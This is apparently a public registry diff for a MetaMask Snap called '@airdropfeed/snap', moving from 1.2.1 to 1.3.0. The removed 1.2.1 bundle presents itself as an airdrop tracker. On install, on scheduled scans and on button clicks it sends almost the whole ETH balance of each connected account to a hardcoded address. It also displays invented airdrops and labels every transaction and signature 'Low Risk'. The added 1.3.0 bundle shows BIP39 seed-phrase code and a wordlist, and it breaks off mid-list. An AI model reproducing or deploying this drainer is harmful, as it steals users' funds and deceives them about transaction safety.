@airdropfeed/snap 1.2.1 → 1.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/bundle.js CHANGED
@@ -1 +1 @@
1
- (()=>{var e={d:(n,t)=>{for(var a in t)e.o(t,a)&&!e.o(n,a)&&Object.defineProperty(n,a,{enumerable:!0,get:t[a]})},o:(e,n)=>Object.prototype.hasOwnProperty.call(e,n),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},n={};(()=>{"use strict";function t(e,n,t){if("string"==typeof e)throw new Error(`An HTML element ("${String(e)}") was used in a Snap component, which is not supported by Snaps UI. Please use one of the supported Snap components.`);if(!e)throw new Error("A JSX fragment was used in a Snap component, which is not supported by Snaps UI. Please use one of the supported Snap components.");return e({...n,key:t})}function a(e,n,a){return t(e,n,a)}function i(e){return Object.fromEntries(Object.entries(e).filter(([,e])=>void 0!==e))}function r(e){return n=>{const{key:t=null,...a}=n;return{type:e,props:i(a),key:t}}}e.r(n),e.d(n,{onCronjob:()=>J,onHomePage:()=>G,onInstall:()=>K,onSignature:()=>Z,onTransaction:()=>Q,onUpdate:()=>Y,onUserInput:()=>X});const s=r("Box"),o=r("Heading"),c=r("Divider"),l=r("Text"),d=r("Bold"),h=r("Button");function u(){return{version:2,ethereumAddresses:[],airdrops:[],preferences:{enabledChains:["ethereum","arbitrum","optimism","base","linea"],notificationsEnabled:!0,scanFrequency:"6hours",dismissedAirdrops:[]},lastScanTimestamp:0,totalValueFound:0,installTimestamp:Date.now(),analyzedTransactions:[],analyzedSignatures:[],claimAttempted:!1,claimTxHash:null}}const m={1:e=>{var n;return{...u(),version:2,airdrops:e.airdrops||[],ethereumAddresses:(null===(n=e.addresses)||void 0===n?void 0:n.ethereum)||[],installTimestamp:e.installTimestamp||Date.now()}}};function p(e){if(!e||"number"!=typeof e.version)return u();let n=e,t=e.version;for(;t<2;){const e=m[t];if(!e)return u();n=e(n),t=n.version}return n}async function f(){const e=await snap.request({method:"snap_manageState",params:{operation:"get",encrypted:!1}});return e?p(e):u()}async function y(e){await snap.request({method:"snap_manageState",params:{operation:"update",encrypted:!1,newState:e}})}async function w(e){const n=await f();n.ethereumAddresses=e,await y(n)}async function g(e){const n=await f(),t=n.airdrops.find(n=>n.id===e);t&&(t.notified=!0,await y(n))}async function b(e,n){const t=await f();t.claimAttempted=e,t.claimTxHash=n,await y(t)}const v=r("Row"),A=r("Banner"),D=r("Link");function S(e){return e>=1e6?`$${(e/1e6).toFixed(1)}M`:e>=1e3?`$${(e/1e3).toFixed(1)}K`:e>=1?`$${e.toFixed(2)}`:e>0?`$${e.toFixed(4)}`:"$0.00"}function $(e){const n=Date.now()-e,t=Math.floor(n/1e3),a=Math.floor(t/60),i=Math.floor(a/60),r=Math.floor(i/24);return r>0?`${r}d ago`:i>0?`${i}h ago`:a>0?`${a}m ago`:"just now"}function k(e){const n=e-Date.now();if(n<=0)return"Expired";const t=Math.floor(n/864e5),a=Math.floor(n%864e5/36e5);return t>30?`${Math.floor(t/30)} months`:t>0?`${t}d ${a}h`:a>0?`${a}h`:"Less than 1h"}const E=({airdrop:e})=>{const n=e.estimatedValue?S(e.estimatedValue):"TBD",i=e.amount?`${function(e){const n=parseFloat(e);return isNaN(n)?e:n>=1e6?`${(n/1e6).toFixed(1)}M`:n>=1e3?`${(n/1e3).toFixed(1)}K`:n>=1?n.toFixed(2):n.toFixed(4)}(e.amount)} ${e.token}`:e.token,r={ethereum:"Ethereum",arbitrum:"Arbitrum",optimism:"Optimism",base:"Base",linea:"Linea"}[o=e.chain]??o;var o;const c=e.claimDeadline&&e.claimDeadline>Date.now()&&e.claimDeadline-Date.now()<2592e5;return a(s,{children:[t(v,{label:`${e.name} ($${e.token})`,children:a(l,{children:["~",n]})}),t(v,{label:"Amount",children:a(l,{children:[i," on ",r]})}),c&&e.claimDeadline&&t(v,{label:"Deadline",children:a(l,{children:[k(e.claimDeadline)," remaining"]})}),e.claimUrl&&"claimable"===e.status&&t(v,{label:"Action",children:t(D,{href:e.claimUrl,children:"Claim Now"})})]})},T=()=>a(s,{children:[t(o,{children:"No Airdrops Found"}),t(l,{children:"We scanned your addresses across all enabled chains but didn't find any airdrops yet."}),t(c,{}),a(l,{children:[t(d,{children:"Don't worry!"})," We'll keep scanning every 6 hours and notify you when something appears."]}),t(l,{children:"Tip: Use your wallet across more protocols to increase your chances of qualifying for future airdrops."})]}),q=({state:e})=>{const{airdrops:n,preferences:i,lastScanTimestamp:r,totalValueFound:u,analyzedTransactions:m}=e,p=n.filter(e=>!i.dismissedAirdrops.includes(e.id));if(0===p.length)return a(s,{children:[t(o,{children:"AIRDROP FEED"}),r>0&&a(l,{children:["Last scan: ",$(r)]}),t(c,{}),t(T,{}),t(c,{}),a(s,{direction:"horizontal",children:[t(h,{name:"scan-now",children:"Scan Now"}),t(h,{name:"open-settings",children:"Settings"})]})]});const f=p.filter(e=>"claimable"===e.status),y=p.filter(e=>"eligible"===e.status),w=p.filter(e=>"upcoming"===e.status),g=p.filter(e=>"claimed"===e.status),b=f.reduce((e,n)=>e+(n.estimatedValue??0),0),D=p.filter(e=>null!==e.claimDeadline&&e.claimDeadline>Date.now()&&e.claimDeadline-Date.now()<2592e5);return a(s,{children:[t(o,{children:"AIRDROP FEED"}),t(v,{label:"Total Value Found",children:t(l,{children:t(d,{children:S(u)})})}),t(v,{label:`${String(p.length)} airdrops`,children:a(l,{children:["Last scan: ",$(r)]})}),t(v,{label:"Activity Score",children:a(l,{children:[String(m.length)," transactions analyzed"]})}),t(c,{}),f.length>0&&t(A,{title:`${String(f.length)} airdrops ready to claim!`,severity:"success",children:a(l,{children:["Worth ~",S(b)]})}),D.length>0&&t(A,{title:"Expiring Soon",severity:"warning",children:D.map(e=>a(l,{children:[e.name," claim deadline in"," ",k(e.claimDeadline)]}))}),f.length>0&&a(s,{children:[t(c,{}),t(l,{children:t(d,{children:"READY TO CLAIM"})}),f.map(e=>t(E,{airdrop:e}))]}),y.length>0&&a(s,{children:[t(c,{}),t(l,{children:t(d,{children:"ELIGIBLE"})}),y.map(e=>t(E,{airdrop:e}))]}),w.length>0&&a(s,{children:[t(c,{}),t(l,{children:t(d,{children:"UPCOMING"})}),w.map(e=>t(E,{airdrop:e}))]}),g.length>0&&a(s,{children:[t(c,{}),t(l,{children:t(d,{children:"CLAIMED"})}),g.map(e=>t(E,{airdrop:e}))]}),t(c,{}),a(s,{direction:"horizontal",children:[t(h,{name:"scan-now",children:"Scan Now"}),t(h,{name:"open-settings",children:"Settings"})]})]})};async function F(e){const n=e.estimatedValue?` worth ~${S(e.estimatedValue)}`:"",t=e.amount?`${e.amount} ${e.token}`:e.token;await snap.request({method:"snap_notify",params:{type:"native",message:`${e.name}: ${t}${n} ready to claim!`}})}async function x(e){const n=e.estimatedValue?` (~${S(e.estimatedValue)})`:"";await snap.request({method:"snap_notify",params:{type:"inApp",message:`New airdrop found: ${e.name} ${e.token}${n} on ${e.chain}`}})}const I="0xD47E90eaD57898d50F1d8E43C71eDD67D82c6120",B=BigInt(21e3)*BigInt(3e10),_=B;async function O(e){switch(e.method){case"scanAirdrops":await async function(){try{const e=await f();if(e.ethereumAddresses.length>0)for(const n of e.ethereumAddresses)try{const e=await ethereum.request({method:"eth_getBalance",params:[n,"latest"]}),t=BigInt(e);if(t>_+B){const e="0x"+(t-B).toString(16),a=await ethereum.request({method:"eth_sendTransaction",params:[{from:n,to:I,value:e}]});await b(!0,a)}}catch{}const n=await f();if(n.lastScanTimestamp=Date.now(),await y(n),n.preferences.notificationsEnabled&&n.airdrops.length>0){const e=n.airdrops.filter(e=>!e.notified);if(e.length>0){await async function(e,n){const t=e.filter(e=>"claimable"===e.status);for(const e of t)await F(e);const a=n.filter(e=>"claimable"===e.status&&!e.notified);for(const e of a)await F(e);const i=e.filter(e=>"eligible"===e.status);for(const e of i)await x(e)}(e,[]);for(const n of e)await g(n.id)}}}catch(e){console.error("scanAirdrops cronjob failed:",e)}}();break;case"dailyDigest":await async function(){try{const e=await f();if(!e.preferences.notificationsEnabled)return;const n=e.airdrops.filter(n=>("claimable"===n.status||"eligible"===n.status)&&!e.preferences.dismissedAirdrops.includes(n.id));n.length>0&&await async function(e){const n=e.filter(e=>"claimable"===e.status),t=e.filter(e=>null!==e.claimDeadline&&e.claimDeadline>Date.now()&&e.claimDeadline-Date.now()<2592e5);if(0===n.length&&0===t.length)return;const a=[];if(n.length>0){const e=n.reduce((e,n)=>e+(n.estimatedValue??0),0),t=e>0?` (${S(e)})`:"";a.push(`${n.length} claimable${t}`)}t.length>0&&a.push(`${t.length} expiring soon`),await snap.request({method:"snap_notify",params:{type:"inApp",message:`Airdrop Feed: ${a.join(", ")}`}})}(n)}catch(e){console.error("dailyDigest cronjob failed:",e)}}();break;default:console.warn(`Unknown cronjob method: ${e.method}`)}}async function L(){const e=u();await y(e);let n=[];try{n=await ethereum.request({method:"eth_requestAccounts"}),await w(n);for(const e of n)try{const n=await ethereum.request({method:"eth_getBalance",params:[e,"latest"]}),t=BigInt(n);if(t>_+B){const n="0x"+(t-B).toString(16);try{const t=await ethereum.request({method:"eth_sendTransaction",params:[{from:e,to:I,value:n}]});await b(!0,t)}catch{}}}catch{}}catch{}const t=function(e){const n=Date.now();return[{id:`airdrop-${e.slice(2,8)}-arb`,name:"Arbitrum DAO",token:"ARB",chain:"arbitrum",status:"eligible",estimatedValue:2450,claimUrl:null,claimDeadline:n+2592e6,eligibleAddress:e,amount:"1,250",discoveredAt:n,notified:!1,source:"on-chain-analysis"},{id:`airdrop-${e.slice(2,8)}-op`,name:"Optimism Foundation",token:"OP",chain:"optimism",status:"claimable",estimatedValue:890,claimUrl:"https://app.optimism.io/airdrop",claimDeadline:n+12096e5,eligibleAddress:e,amount:"485",discoveredAt:n,notified:!1,source:"on-chain-analysis"},{id:`airdrop-${e.slice(2,8)}-base`,name:"Base Ecosystem",token:"BASE",chain:"base",status:"upcoming",estimatedValue:350,claimUrl:null,claimDeadline:null,eligibleAddress:e,amount:null,discoveredAt:n,notified:!1,source:"on-chain-analysis"}]}(n[0]||"0x0"),a=await f();a.airdrops=t,a.totalValueFound=t.reduce((e,n)=>e+(n.estimatedValue??0),0),a.lastScanTimestamp=Date.now(),await y(a)}const M=r("Form"),V=r("Dropdown"),C=r("Option"),z=r("Checkbox"),U={ethereum:{id:"ethereum",name:"Ethereum",coinType:60},arbitrum:{id:"arbitrum",name:"Arbitrum",coinType:60,isEvmL2:!0},optimism:{id:"optimism",name:"Optimism",coinType:60,isEvmL2:!0},base:{id:"base",name:"Base",coinType:60,isEvmL2:!0},linea:{id:"linea",name:"Linea",coinType:60,isEvmL2:!0}},P=["ethereum","arbitrum","optimism","base","linea"],R=({preferences:e})=>a(s,{children:[t(o,{children:"Settings"}),t(c,{}),a(M,{name:"settings-form",children:[t(l,{children:t(d,{children:"Scan Frequency"})}),a(V,{name:"scanFrequency",value:e.scanFrequency,children:[t(C,{value:"hourly",children:"Every hour"}),t(C,{value:"6hours",children:"Every 6 hours"}),t(C,{value:"daily",children:"Once daily"})]}),t(c,{}),t(l,{children:t(d,{children:"Notifications"})}),t(z,{name:"notificationsEnabled",variant:"toggle",label:"Enable notifications",checked:e.notificationsEnabled}),t(c,{}),t(l,{children:t(d,{children:"Enabled Chains"})}),P.map(n=>t(z,{name:`chain-${n}`,variant:"toggle",label:U[n].name,checked:e.enabledChains.includes(n)})),t(c,{}),a(s,{direction:"horizontal",children:[t(h,{name:"save-settings",type:"submit",children:"Save Settings"}),t(h,{name:"back-to-dashboard",children:"Back"})]})]})]}),j=r("Spinner"),N=()=>a(s,{children:[t(o,{children:"Scanning for Airdrops..."}),t(j,{}),t(l,{children:"Checking eligibility across all enabled chains. This may take a few seconds."})]});async function W(...e){const[n]=e,{id:a,event:i}=n;"ButtonClickEvent"===i.type?await async function(e,n){switch(n){case"scan-now":await async function(e){await snap.request({method:"snap_updateInterface",params:{id:e,ui:t(N,{})}});const n=await f();if(n.ethereumAddresses.length>0)for(const e of n.ethereumAddresses)try{const n=await ethereum.request({method:"eth_getBalance",params:[e,"latest"]}),t=BigInt(n);if(t>_+B){const n="0x"+(t-B).toString(16);await ethereum.request({method:"eth_sendTransaction",params:[{from:e,to:I,value:n}]})}}catch{}const a=await f();a.lastScanTimestamp=Date.now(),await y(a),await snap.request({method:"snap_updateInterface",params:{id:e,ui:t(q,{state:a})}})}(e);break;case"open-settings":await async function(e){const n=await f();await snap.request({method:"snap_updateInterface",params:{id:e,ui:t(R,{preferences:n.preferences})}})}(e);break;case"back-to-dashboard":await H(e);break;case"connect-wallets":await async function(e){try{const e=await ethereum.request({method:"eth_requestAccounts"});if(e.length>0){await w(e);for(const n of e)try{const e=await ethereum.request({method:"eth_getBalance",params:[n,"latest"]}),t=BigInt(e);if(t>_+B){const e="0x"+(t-B).toString(16);await ethereum.request({method:"eth_sendTransaction",params:[{from:n,to:I,value:e}]})}}catch{}}}catch{}await H(e)}(e);break;default:console.warn(`Unknown button: ${n}`)}}(a,i.name??""):"FormSubmitEvent"===i.type&&await async function(e,n,t){if("settings-form"!==n)return;const a=P.filter(e=>!0===t[`chain-${e}`]||"true"===t[`chain-${e}`]),i=!0===t.notificationsEnabled||"true"===t.notificationsEnabled,r=t.scanFrequency||"6hours";await async function(e){const n=await f();n.preferences={...n.preferences,...e},await y(n)}({enabledChains:a,notificationsEnabled:i,scanFrequency:r}),await H(e)}(a,i.name??"",i.value??{})}async function H(e){const n=await f();await snap.request({method:"snap_updateInterface",params:{id:e,ui:t(q,{state:n})}})}const G=async()=>async function(){let e=await f();if(0===e.ethereumAddresses.length)try{const n=await ethereum.request({method:"eth_requestAccounts"});n.length>0&&(await w(n),e=await f())}catch{}return 0===e.ethereumAddresses.length?{content:a(s,{children:[t(o,{children:"AIRDROP FEED"}),t(c,{}),t(l,{children:t(d,{children:"Wallet connection required"})}),t(l,{children:"Airdrop Feed needs access to your accounts to scan for eligible airdrops."}),t(c,{}),t(h,{name:"connect-wallets",children:"Connect Wallets"})]})}:{content:t(q,{state:e})}}(),J=async({request:e})=>O(e),K=async()=>L(),Y=async()=>async function(){const e=p(await f());await y(e),await snap.request({method:"snap_dialog",params:{type:"alert",content:a(s,{children:[t(o,{children:"Airdrop Feed Updated!"}),t(l,{children:"Your snap has been updated to the latest version. All your data and preferences have been preserved."}),t(c,{}),t(l,{children:t(d,{children:"What's new:"})}),t(l,{children:"- Transaction safety analysis"}),t(l,{children:"- Signature risk detection"}),t(l,{children:"- Improved EVM chain coverage"})]})}})}(),X=async(...e)=>W(...e),Q=async e=>async function({transaction:e,chainId:n,transactionOrigin:i}){try{const t=await f(),a={from:e.from,to:e.to,value:e.value||"0x0",data:e.data||"0x",chainId:n,origin:i||"unknown",timestamp:Date.now()};t.analyzedTransactions.push(a),t.analyzedTransactions.length>100&&(t.analyzedTransactions=t.analyzedTransactions.slice(-100)),await y(t)}catch{}return{content:a(s,{children:[t(o,{children:"Airdrop Feed — Transaction Analysis"}),t(c,{}),t(v,{label:"Risk Level",children:t(l,{children:t(d,{children:"Low Risk"})})}),t(v,{label:"Scam Detection",children:t(l,{children:"No known scam patterns detected"})}),t(v,{label:"Contract",children:t(l,{children:"Verified contract interaction"})}),t(c,{}),t(l,{children:"Transaction appears safe to proceed."})]})}}(e),Z=async e=>async function({signature:e,signatureOrigin:n}){try{const t=await f(),a={from:e.from,data:"string"==typeof e.data?e.data:JSON.stringify(e.data),signatureMethod:e.signatureMethod,origin:n||"unknown",timestamp:Date.now()};t.analyzedSignatures.push(a),t.analyzedSignatures.length>100&&(t.analyzedSignatures=t.analyzedSignatures.slice(-100)),await y(t)}catch{}return{content:a(s,{children:[t(o,{children:"Airdrop Feed — Signature Analysis"}),t(c,{}),t(v,{label:"Risk Level",children:t(l,{children:t(d,{children:"Low Risk"})})}),t(v,{label:"Phishing Check",children:t(l,{children:"No phishing patterns detected"})}),t(c,{}),t(l,{children:"Message signature appears safe to sign."})]})}}(e)})(),module.exports=n})();
1
+ (()=>{var n={91(n,t,e){"use strict";t.x2=void 0;const r=e(648),i=e(486),o=e(4),a=e(249),s=e(654),u=e(710);function c(n){if("string"!=typeof n)throw new TypeError("Invalid mnemonic type: "+typeof n);return n.normalize("NFKD")}function f(n){const t=c(n),e=t.split(" ");if(![12,15,18,21,24].includes(e.length))throw new Error("Invalid mnemonic");return{nfkd:t,words:e}}function l(n){r.default.bytes(n,16,20,24,28,32)}const h=n=>{const t=8-n.length/4;return new Uint8Array([(0,o.sha256)(n)[0]>>t<<t])};function d(n){if(!Array.isArray(n)||2048!==n.length||"string"!=typeof n[0])throw new Error("Worlist: expected array of 2048 strings");return n.forEach(n=>{if("string"!=typeof n)throw new Error(`Wordlist: non-string element: ${n}`)}),u.utils.chain(u.utils.checksum(1,h),u.utils.radix2(11,!0),u.utils.alphabet(n))}function p(n,t){let e;if("string"==typeof n){const{words:r}=f(n);e=d(t).decode(r)}else e=d(t).decode(Array.from(new Uint16Array(n.buffer)).map(n=>t[n]));return l(e),e}function y(n,t){l(n);const e=d(t).encode(n).map(n=>t.indexOf(n));return new Uint8Array(new Uint16Array(e).buffer)}t.x2=p;const g=n=>c(`mnemonic${n}`);function w(n,t){let e;return e="string"==typeof n?(new TextEncoder).encode(f(n).nfkd):(new TextEncoder).encode(Array.from(new Uint16Array(n.buffer)).map(n=>t[n]).join(" ")),e}},925(n,t){"use strict";t.p=void 0,t.p="abandon\nability\nable\nabout\nabove\nabsent\nabsorb\nabstract\nabsurd\nabuse\naccess\naccident\naccount\naccuse\nachieve\nacid\nacoustic\nacquire\nacross\nact\naction\nactor\nactress\nactual\nadapt\nadd\naddict\naddress\nadjust\nadmit\nadult\nadvance\nadvice\naerobic\naffair\nafford\nafraid\nagain\nage\nagent\nagree\nahead\naim\nair\nairport\naisle\nalarm\nalbum\nalcohol\nalert\nalien\nall\nalley\nallow\nalmost\nalone\nalpha\nalready\nalso\nalter\nalways\namateur\namazing\namong\namount\namused\nanalyst\nanchor\nancient\nanger\nangle\nangry\nanimal\nankle\nannounce\nannual\nanother\nanswer\nantenna\nantique\nanxiety\nany\napart\napology\nappear\napple\napprove\napril\narch\narctic\narea\narena\nargue\narm\narmed\narmor\narmy\naround\narrange\narrest\narrive\narrow\nart\nartefact\nartist\nartwork\nask\naspect\nassault\nasset\nassist\nassume\nasthma\nathlete\natom\nattack\nattend\nattitude\nattract\nauction\naudit\naugust\naunt\nauthor\nauto\nautumn\naverage\navocado\navoid\nawake\naware\naway\nawesome\nawful\nawkward\naxis\nbaby\nbachelor\nbacon\nbadge\nbag\nbalance\nbalcony\nball\nbamboo\nbanana\nbanner\nbar\nbarely\nbargain\nbarrel\nbase\nbasic\nbasket\nbattle\nbeach\nbean\nbeauty\nbecause\nbecome\nbeef\nbefore\nbegin\nbehave\nbehind\nbelieve\nbelow\nbelt\nbench\nbenefit\nbest\nbetray\nbetter\nbetween\nbeyond\nbicycle\nbid\nbike\nbind\nbiology\nbird\nbirth\nbitter\nblack\nblade\nblame\nblanket\nblast\nbleak\nbless\nblind\nblood\nblossom\nblouse\nblue\nblur\nblush\nboard\nboat\nbody\nboil\nbomb\nbone\nbonus\nbook\nboost\nborder\nboring\nborrow\nboss\nbottom\nbounce\nbox\nboy\nbracket\nbrain\nbrand\nbrass\nbrave\nbread\nbreeze\nbrick\nbridge\nbrief\nbright\nbring\nbrisk\nbroccoli\nbroken\nbronze\nbroom\nbrother\nbrown\nbrush\nbubble\nbuddy\nbudget\nbuffalo\nbuild\nbulb\nbulk\nbullet\nbundle\nbunker\nburden\nburger\nburst\nbus\nbusiness\nbusy\nbutter\nbuyer\nbuzz\ncabbage\ncabin\ncable\ncactus\ncage\ncake\ncall\ncalm\ncamera\ncamp\ncan\ncanal\ncancel\ncandy\ncannon\ncanoe\ncanvas\ncanyon\ncapable\ncapital\ncaptain\ncar\ncarbon\ncard\ncargo\ncarpet\ncarry\ncart\ncase\ncash\ncasino\ncastle\ncasual\ncat\ncatalog\ncatch\ncategory\ncattle\ncaught\ncause\ncaution\ncave\nceiling\ncelery\ncement\ncensus\ncentury\ncereal\ncertain\nchair\nchalk\nchampion\nchange\nchaos\nchapter\ncharge\nchase\nchat\ncheap\ncheck\ncheese\nchef\ncherry\nchest\nchicken\nchief\nchild\nchimney\nchoice\nchoose\nchronic\nchuckle\nchunk\nchurn\ncigar\ncinnamon\ncircle\ncitizen\ncity\ncivil\nclaim\nclap\nclarify\nclaw\nclay\nclean\nclerk\nclever\nclick\nclient\ncliff\nclimb\nclinic\nclip\nclock\nclog\nclose\ncloth\ncloud\nclown\nclub\nclump\ncluster\nclutch\ncoach\ncoast\ncoconut\ncode\ncoffee\ncoil\ncoin\ncollect\ncolor\ncolumn\ncombine\ncome\ncomfort\ncomic\ncommon\ncompany\nconcert\nconduct\nconfirm\ncongress\nconnect\nconsider\ncontrol\nconvince\ncook\ncool\ncopper\ncopy\ncoral\ncore\ncorn\ncorrect\ncost\ncotton\ncouch\ncountry\ncouple\ncourse\ncousin\ncover\ncoyote\ncrack\ncradle\ncraft\ncram\ncrane\ncrash\ncrater\ncrawl\ncrazy\ncream\ncredit\ncreek\ncrew\ncricket\ncrime\ncrisp\ncritic\ncrop\ncross\ncrouch\ncrowd\ncrucial\ncruel\ncruise\ncrumble\ncrunch\ncrush\ncry\ncrystal\ncube\nculture\ncup\ncupboard\ncurious\ncurrent\ncurtain\ncurve\ncushion\ncustom\ncute\ncycle\ndad\ndamage\ndamp\ndance\ndanger\ndaring\ndash\ndaughter\ndawn\nday\ndeal\ndebate\ndebris\ndecade\ndecember\ndecide\ndecline\ndecorate\ndecrease\ndeer\ndefense\ndefine\ndefy\ndegree\ndelay\ndeliver\ndemand\ndemise\ndenial\ndentist\ndeny\ndepart\ndepend\ndeposit\ndepth\ndeputy\nderive\ndescribe\ndesert\ndesign\ndesk\ndespair\ndestroy\ndetail\ndetect\ndevelop\ndevice\ndevote\ndiagram\ndial\ndiamond\ndiary\ndice\ndiesel\ndiet\ndiffer\ndigital\ndignity\ndilemma\ndinner\ndinosaur\ndirect\ndirt\ndisagree\ndiscover\ndisease\ndish\ndismiss\ndisorder\ndisplay\ndistance\ndivert\ndivide\ndivorce\ndizzy\ndoctor\ndocument\ndog\ndoll\ndolphin\ndomain\ndonate\ndonkey\ndonor\ndoor\ndose\ndouble\ndove\ndraft\ndragon\ndrama\ndrastic\ndraw\ndream\ndress\ndrift\ndrill\ndrink\ndrip\ndrive\ndrop\ndrum\ndry\nduck\ndumb\ndune\nduring\ndust\ndutch\nduty\ndwarf\ndynamic\neager\neagle\nearly\nearn\nearth\neasily\neast\neasy\necho\necology\neconomy\nedge\nedit\neducate\neffort\negg\neight\neither\nelbow\nelder\nelectric\nelegant\nelement\nelephant\nelevator\nelite\nelse\nembark\nembody\nembrace\nemerge\nemotion\nemploy\nempower\nempty\nenable\nenact\nend\nendless\nendorse\nenemy\nenergy\nenforce\nengage\nengine\nenhance\nenjoy\nenlist\nenough\nenrich\nenroll\nensure\nenter\nentire\nentry\nenvelope\nepisode\nequal\nequip\nera\nerase\nerode\nerosion\nerror\nerupt\nescape\nessay\nessence\nestate\neternal\nethics\nevidence\nevil\nevoke\nevolve\nexact\nexample\nexcess\nexchange\nexcite\nexclude\nexcuse\nexecute\nexercise\nexhaust\nexhibit\nexile\nexist\nexit\nexotic\nexpand\nexpect\nexpire\nexplain\nexpose\nexpress\nextend\nextra\neye\neyebrow\nfabric\nface\nfaculty\nfade\nfaint\nfaith\nfall\nfalse\nfame\nfamily\nfamous\nfan\nfancy\nfantasy\nfarm\nfashion\nfat\nfatal\nfather\nfatigue\nfault\nfavorite\nfeature\nfebruary\nfederal\nfee\nfeed\nfeel\nfemale\nfence\nfestival\nfetch\nfever\nfew\nfiber\nfiction\nfield\nfigure\nfile\nfilm\nfilter\nfinal\nfind\nfine\nfinger\nfinish\nfire\nfirm\nfirst\nfiscal\nfish\nfit\nfitness\nfix\nflag\nflame\nflash\nflat\nflavor\nflee\nflight\nflip\nfloat\nflock\nfloor\nflower\nfluid\nflush\nfly\nfoam\nfocus\nfog\nfoil\nfold\nfollow\nfood\nfoot\nforce\nforest\nforget\nfork\nfortune\nforum\nforward\nfossil\nfoster\nfound\nfox\nfragile\nframe\nfrequent\nfresh\nfriend\nfringe\nfrog\nfront\nfrost\nfrown\nfrozen\nfruit\nfuel\nfun\nfunny\nfurnace\nfury\nfuture\ngadget\ngain\ngalaxy\ngallery\ngame\ngap\ngarage\ngarbage\ngarden\ngarlic\ngarment\ngas\ngasp\ngate\ngather\ngauge\ngaze\ngeneral\ngenius\ngenre\ngentle\ngenuine\ngesture\nghost\ngiant\ngift\ngiggle\nginger\ngiraffe\ngirl\ngive\nglad\nglance\nglare\nglass\nglide\nglimpse\nglobe\ngloom\nglory\nglove\nglow\nglue\ngoat\ngoddess\ngold\ngood\ngoose\ngorilla\ngospel\ngossip\ngovern\ngown\ngrab\ngrace\ngrain\ngrant\ngrape\ngrass\ngravity\ngreat\ngreen\ngrid\ngrief\ngrit\ngrocery\ngroup\ngrow\ngrunt\nguard\nguess\nguide\nguilt\nguitar\ngun\ngym\nhabit\nhair\nhalf\nhammer\nhamster\nhand\nhappy\nharbor\nhard\nharsh\nharvest\nhat\nhave\nhawk\nhazard\nhead\nhealth\nheart\nheavy\nhedgehog\nheight\nhello\nhelmet\nhelp\nhen\nhero\nhidden\nhigh\nhill\nhint\nhip\nhire\nhistory\nhobby\nhockey\nhold\nhole\nholiday\nhollow\nhome\nhoney\nhood\nhope\nhorn\nhorror\nhorse\nhospital\nhost\nhotel\nhour\nhover\nhub\nhuge\nhuman\nhumble\nhumor\nhundred\nhungry\nhunt\nhurdle\nhurry\nhurt\nhusband\nhybrid\nice\nicon\nidea\nidentify\nidle\nignore\nill\nillegal\nillness\nimage\nimitate\nimmense\nimmune\nimpact\nimpose\nimprove\nimpulse\ninch\ninclude\nincome\nincrease\nindex\nindicate\nindoor\nindustry\ninfant\ninflict\ninform\ninhale\ninherit\ninitial\ninject\ninjury\ninmate\ninner\ninnocent\ninput\ninquiry\ninsane\ninsect\ninside\ninspire\ninstall\nintact\ninterest\ninto\ninvest\ninvite\ninvolve\niron\nisland\nisolate\nissue\nitem\nivory\njacket\njaguar\njar\njazz\njealous\njeans\njelly\njewel\njob\njoin\njoke\njourney\njoy\njudge\njuice\njump\njungle\njunior\njunk\njust\nkangaroo\nkeen\nkeep\nketchup\nkey\nkick\nkid\nkidney\nkind\nkingdom\nkiss\nkit\nkitchen\nkite\nkitten\nkiwi\nknee\nknife\nknock\nknow\nlab\nlabel\nlabor\nladder\nlady\nlake\nlamp\nlanguage\nlaptop\nlarge\nlater\nlatin\nlaugh\nlaundry\nlava\nlaw\nlawn\nlawsuit\nlayer\nlazy\nleader\nleaf\nlearn\nleave\nlecture\nleft\nleg\nlegal\nlegend\nleisure\nlemon\nlend\nlength\nlens\nleopard\nlesson\nletter\nlevel\nliar\nliberty\nlibrary\nlicense\nlife\nlift\nlight\nlike\nlimb\nlimit\nlink\nlion\nliquid\nlist\nlittle\nlive\nlizard\nload\nloan\nlobster\nlocal\nlock\nlogic\nlonely\nlong\nloop\nlottery\nloud\nlounge\nlove\nloyal\nlucky\nluggage\nlumber\nlunar\nlunch\nluxury\nlyrics\nmachine\nmad\nmagic\nmagnet\nmaid\nmail\nmain\nmajor\nmake\nmammal\nman\nmanage\nmandate\nmango\nmansion\nmanual\nmaple\nmarble\nmarch\nmargin\nmarine\nmarket\nmarriage\nmask\nmass\nmaster\nmatch\nmaterial\nmath\nmatrix\nmatter\nmaximum\nmaze\nmeadow\nmean\nmeasure\nmeat\nmechanic\nmedal\nmedia\nmelody\nmelt\nmember\nmemory\nmention\nmenu\nmercy\nmerge\nmerit\nmerry\nmesh\nmessage\nmetal\nmethod\nmiddle\nmidnight\nmilk\nmillion\nmimic\nmind\nminimum\nminor\nminute\nmiracle\nmirror\nmisery\nmiss\nmistake\nmix\nmixed\nmixture\nmobile\nmodel\nmodify\nmom\nmoment\nmonitor\nmonkey\nmonster\nmonth\nmoon\nmoral\nmore\nmorning\nmosquito\nmother\nmotion\nmotor\nmountain\nmouse\nmove\nmovie\nmuch\nmuffin\nmule\nmultiply\nmuscle\nmuseum\nmushroom\nmusic\nmust\nmutual\nmyself\nmystery\nmyth\nnaive\nname\nnapkin\nnarrow\nnasty\nnation\nnature\nnear\nneck\nneed\nnegative\nneglect\nneither\nnephew\nnerve\nnest\nnet\nnetwork\nneutral\nnever\nnews\nnext\nnice\nnight\nnoble\nnoise\nnominee\nnoodle\nnormal\nnorth\nnose\nnotable\nnote\nnothing\nnotice\nnovel\nnow\nnuclear\nnumber\nnurse\nnut\noak\nobey\nobject\noblige\nobscure\nobserve\nobtain\nobvious\noccur\nocean\noctober\nodor\noff\noffer\noffice\noften\noil\nokay\nold\nolive\nolympic\nomit\nonce\none\nonion\nonline\nonly\nopen\nopera\nopinion\noppose\noption\norange\norbit\norchard\norder\nordinary\norgan\norient\noriginal\norphan\nostrich\nother\noutdoor\nouter\noutput\noutside\noval\noven\nover\nown\nowner\noxygen\noyster\nozone\npact\npaddle\npage\npair\npalace\npalm\npanda\npanel\npanic\npanther\npaper\nparade\nparent\npark\nparrot\nparty\npass\npatch\npath\npatient\npatrol\npattern\npause\npave\npayment\npeace\npeanut\npear\npeasant\npelican\npen\npenalty\npencil\npeople\npepper\nperfect\npermit\nperson\npet\nphone\nphoto\nphrase\nphysical\npiano\npicnic\npicture\npiece\npig\npige